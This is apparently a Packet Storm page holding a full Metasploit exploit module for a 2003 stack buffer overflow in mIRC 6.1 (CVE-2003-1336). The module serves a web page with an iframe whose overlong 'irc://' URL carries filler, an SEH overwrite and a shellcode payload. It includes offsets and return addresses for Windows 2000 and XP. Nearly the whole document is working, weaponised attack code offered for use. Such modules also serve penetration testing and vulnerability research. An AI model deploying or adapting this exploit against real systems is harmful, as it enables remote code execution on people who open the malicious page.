This Metasploit module exploits a stack overflow in mIRC 6.1. By submitting an overly long and specially crafted URL to the 'irc' protocol, an attacker can overwrite the buffer and control program execution.
eb0f1978b41d4e2c8f8e0b4fe0064977eecb2ddfa8365c103cc9ee5faa123030##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'mIRC IRC URL Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in mIRC 6.1. By
submitting an overly long and specially crafted URL to
the 'irc' protocol, an attacker can overwrite the buffer
and control program execution.
},
'License' => MSF_LICENSE,
'Author' => 'MC',
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2003-1336'],
[ 'OSVDB', '2665'],
[ 'BID', '8819' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 Pro English All', { 'Offset' => 1442, 'Ret' => 0x75022ac4 } ],
[ 'Windows XP Pro SP0/SP1 English', { 'Offset' => 1414, 'Ret' => 0x71aa32ad } ],
],
'Privileged' => false,
'DisclosureDate' => 'Oct 13 2003',
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
filler = rand_text_alphanumeric(target['Offset'], payload_badchars)
seh = generate_seh_payload(target.ret)
sploit = filler + seh
# Build the HTML content
content = "<html><iframe src='irc://#{sploit}'></html>"
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed